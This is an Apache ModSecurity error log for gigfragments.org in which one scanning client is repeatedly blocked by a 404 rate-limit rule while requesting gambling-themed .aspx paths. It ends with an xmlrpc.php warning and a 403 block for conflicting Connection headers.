[Sun Feb 15 10:15:21.033385 2026] [:error] [pid 42754:tid 42822] [client 195.201.199.99:52868] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZEsOeiCZrZWT4BVy12AhgAAA8g"]
[Sun Feb 15 10:15:23.055144 2026] [:error] [pid 35560:tid 35629] [client 195.201.199.99:53186] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZEsOwZSChHPc3occZ7p0AAAAww"]
[Sun Feb 15 10:15:25.027283 2026] [:error] [pid 42659:tid 42677] [client 195.201.199.99:53572] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZEsPey3JGHOB-Rj_FYU9QAAAFA"]
[Sun Feb 15 10:15:26.966169 2026] [:error] [pid 19652:tid 19656] [client 195.201.199.99:53928] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZEsPjHg2T9K5fiyOL-HJgAAAAI"]
[Sun Feb 15 10:15:28.797931 2026] [:error] [pid 19652:tid 19670] [client 195.201.199.99:54216] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZEsQDHg2T9K5fiyOL-HKAAAABA"]
[Sun Feb 15 10:15:30.632431 2026] [:error] [pid 35557:tid 35566] [client 195.201.199.99:54558] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZEsQsI4REuGME4xEbPiswAAAkM"]
[Sun Feb 15 10:15:32.652974 2026] [:error] [pid 14577:tid 14585] [client 195.201.199.99:54944] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZEsRHTqrkuce6u39HupCgAAAQU"]
[Sun Feb 15 10:15:34.553617 2026] [:error] [pid 42659:tid 42685] [client 195.201.199.99:55292] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZEsRuy3JGHOB-Rj_FYU-wAAAFg"]
[Sun Feb 15 10:15:36.404852 2026] [:error] [pid 42752:tid 42774] [client 195.201.199.99:55654] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZEsSMClY05C-Gq9l0gMhwAAAs8"]
[Sun Feb 15 10:15:38.264746 2026] [:error] [pid 14577:tid 14584] [client 195.201.199.99:56024] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZEsSnTqrkuce6u39HupCwAAAQQ"]
[Sun Feb 15 10:15:40.189721 2026] [:error] [pid 14577:tid 14603] [client 195.201.199.99:56380] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZEsTHTqrkuce6u39HupDgAAARc"]
[Sun Feb 15 10:15:42.218931 2026] [:error] [pid 42659:tid 42670] [client 195.201.199.99:56770] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZEsTuy3JGHOB-Rj_FYVBQAAAEk"]
[Sun Feb 15 10:15:44.079147 2026] [:error] [pid 35497:tid 35542] [client 195.201.199.99:57102] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZEsUMyqpfYzoxiskhsSrgAAAM8"]
[Sun Feb 15 10:15:45.904005 2026] [:error] [pid 42754:tid 42826] [client 195.201.199.99:57414] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZEsUeiCZrZWT4BVy12AmAAAA8w"]
[Sun Feb 15 10:15:47.827585 2026] [:error] [pid 42659:tid 42664] [client 195.201.199.99:57732] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZEsU-y3JGHOB-Rj_FYVCQAAAEM"]
[Sun Feb 15 10:15:49.667748 2026] [:error] [pid 35497:tid 35550] [client 195.201.199.99:58030] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZEsVcyqpfYzoxiskhsSrwAAANc"]
[Sun Feb 15 10:15:51.654270 2026] [:error] [pid 42659:tid 42673] [client 195.201.199.99:58350] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZEsV-y3JGHOB-Rj_FYVDwAAAEw"]
[Sun Feb 15 10:15:53.621449 2026] [:error] [pid 35560:tid 35619] [client 195.201.199.99:58746] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZEsWQZSChHPc3occZ7p2gAAAwI"]
[Sun Feb 15 10:15:55.485536 2026] [:error] [pid 31679:tid 31712] [client 195.201.199.99:59064] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZEsWxz9Q_0Eh7M-Xr1PfQAAAgM"]
[Sun Feb 15 10:15:57.345098 2026] [:error] [pid 31679:tid 31725] [client 195.201.199.99:59432] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZEsXRz9Q_0Eh7M-Xr1PgQAAAhA"]
[Sun Feb 15 10:15:59.183124 2026] [:error] [pid 42753:tid 42800] [client 195.201.199.99:59838] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZEsXwhQMLzszrBLG6el7wAAA40"]
[Sun Feb 15 10:16:01.003618 2026] [:error] [pid 42754:tid 42824] [client 195.201.199.99:60158] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZEsYeiCZrZWT4BVy12AnAAAA8o"]
[Sun Feb 15 10:16:02.935690 2026] [:error] [pid 42754:tid 42823] [client 195.201.199.99:60552] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZEsYuiCZrZWT4BVy12AnQAAA8k"]
[Sun Feb 15 10:16:04.778688 2026] [:error] [pid 31679:tid 31724] [client 195.201.199.99:60962] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZEsZBz9Q_0Eh7M-Xr1PhQAAAg8"]
[Sun Feb 15 10:16:39.868687 2026] [:error] [pid 14577:tid 14595] [client 195.201.199.99:33072] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZEsh3Tqrkuce6u39HupQAAAAQ8"]
[Sun Feb 15 10:16:41.779367 2026] [:error] [pid 42753:tid 42794] [client 195.201.199.99:39288] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZEsiQhQMLzszrBLG6emFAAAA4c"]
[Sun Feb 15 10:16:43.760288 2026] [:error] [pid 35560:tid 35631] [client 195.201.199.99:39616] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZEsiwZSChHPc3occZ7p7wAAAw4"]
[Sun Feb 15 10:16:45.753269 2026] [:error] [pid 19652:tid 19669] [client 195.201.199.99:39944] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZEsjTHg2T9K5fiyOL-HTAAAAA8"]
[Sun Feb 15 10:16:47.533943 2026] [:error] [pid 14577:tid 14591] [client 195.201.199.99:40194] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZEsj3Tqrkuce6u39HupQQAAAQs"]
[Sun Feb 15 10:16:49.498082 2026] [:error] [pid 42752:tid 42778] [client 195.201.199.99:40536] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZEskcClY05C-Gq9l0gMnQAAAtM"]
[Sun Feb 15 10:16:51.336488 2026] [:error] [pid 42659:tid 42678] [client 195.201.199.99:40942] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZEsk-y3JGHOB-Rj_FYVPAAAAFE"]
[Sun Feb 15 10:16:53.168049 2026] [:error] [pid 42752:tid 42780] [client 195.201.199.99:41340] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZEslcClY05C-Gq9l0gMnwAAAtU"]
[Sun Feb 15 10:16:55.131327 2026] [:error] [pid 42754:tid 42832] [client 195.201.199.99:41760] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZEsl-iCZrZWT4BVy12AtwAAA9I"]
[Sun Feb 15 10:16:56.972084 2026] [:error] [pid 42659:tid 42677] [client 195.201.199.99:42140] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZEsmOy3JGHOB-Rj_FYVPgAAAFA"]
[Sun Feb 15 10:16:58.906957 2026] [:error] [pid 42752:tid 42782] [client 195.201.199.99:42554] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZEsmsClY05C-Gq9l0gMogAAAtc"]
[Sun Feb 15 10:17:00.996893 2026] [:error] [pid 35560:tid 35625] [client 195.201.199.99:42936] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZEsnAZSChHPc3occZ7p9QAAAwg"]
[Sun Feb 15 10:17:03.138578 2026] [:error] [pid 42752:tid 42777] [client 195.201.199.99:43310] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZEsn8ClY05C-Gq9l0gMqAAAAtI"]
[Sun Feb 15 10:17:05.040256 2026] [:error] [pid 31679:tid 31716] [client 195.201.199.99:43632] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZEsoRz9Q_0Eh7M-Xr1PogAAAgc"]
[Sun Feb 15 10:17:06.855815 2026] [:error] [pid 42753:tid 42804] [client 195.201.199.99:43916] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZEsoghQMLzszrBLG6emGwAAA5E"]
[Sun Feb 15 10:17:08.928429 2026] [:error] [pid 42659:tid 42679] [client 195.201.199.99:44276] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZEspOy3JGHOB-Rj_FYVawAAAFI"]
[Sun Feb 15 10:17:10.832976 2026] [:error] [pid 35557:tid 35567] [client 195.201.199.99:44574] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZEspsI4REuGME4xEbPi3wAAAkQ"]
[Sun Feb 15 10:17:12.748233 2026] [:error] [pid 31679:tid 31711] [client 195.201.199.99:44860] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZEsqBz9Q_0Eh7M-Xr1PxwAAAgI"]
[Sun Feb 15 10:17:14.682677 2026] [:error] [pid 31679:tid 31733] [client 195.201.199.99:45166] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZEsqhz9Q_0Eh7M-Xr1PyAAAAhg"]
[Sun Feb 15 10:17:16.663373 2026] [:error] [pid 35557:tid 35583] [client 195.201.199.99:45464] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZEsrMI4REuGME4xEbPi4wAAAlQ"]
[Sun Feb 15 10:17:18.665091 2026] [:error] [pid 42754:tid 42818] [client 195.201.199.99:45816] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZEsruiCZrZWT4BVy12AvAAAA8Q"]
[Sun Feb 15 10:17:20.591242 2026] [:error] [pid 31679:tid 31714] [client 195.201.199.99:46174] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZEssBz9Q_0Eh7M-Xr1P0AAAAgU"]
[Sun Feb 15 10:17:22.503471 2026] [:error] [pid 42752:tid 42774] [client 195.201.199.99:46506] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZEsssClY05C-Gq9l0gMvQAAAs8"]
[Sun Feb 15 10:17:24.404186 2026] [:error] [pid 42752:tid 42764] [client 195.201.199.99:46822] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZEstMClY05C-Gq9l0gMvwAAAsU"]
[Sun Feb 15 10:17:26.263007 2026] [:error] [pid 42753:tid 42793] [client 195.201.199.99:47192] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZEstghQMLzszrBLG6emIgAAA4Y"]
[Sun Feb 15 10:17:28.218714 2026] [:error] [pid 14577:tid 14597] [client 195.201.199.99:47520] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZEsuHTqrkuce6u39HupdQAAARE"]
[Sun Feb 15 10:17:30.123378 2026] [:error] [pid 42754:tid 42838] [client 195.201.199.99:47864] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZEsuuiCZrZWT4BVy12AwAAAA9g"]
[Sun Feb 15 10:17:32.210140 2026] [:error] [pid 42659:tid 42683] [client 195.201.199.99:48220] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZEsvOy3JGHOB-Rj_FYVegAAAFY"]
[Sun Feb 15 10:17:34.141014 2026] [:error] [pid 35557:tid 35587] [client 195.201.199.99:48524] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZEsvsI4REuGME4xEbPi9AAAAlg"]
[Sun Feb 15 11:54:36.078617 2026] [:error] [pid 42752:tid 42782] [client 195.154.174.40:40782] [client 195.154.174.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.154.174.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFDfMClY05C-Gq9l0gcdAAAAtc"]
[Sun Feb 15 12:13:47.707949 2026] [:error] [pid 14577:tid 14590] [client 43.135.145.117:36116] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZFH-3Tqrkuce6u39HvK4wAAAQo"]
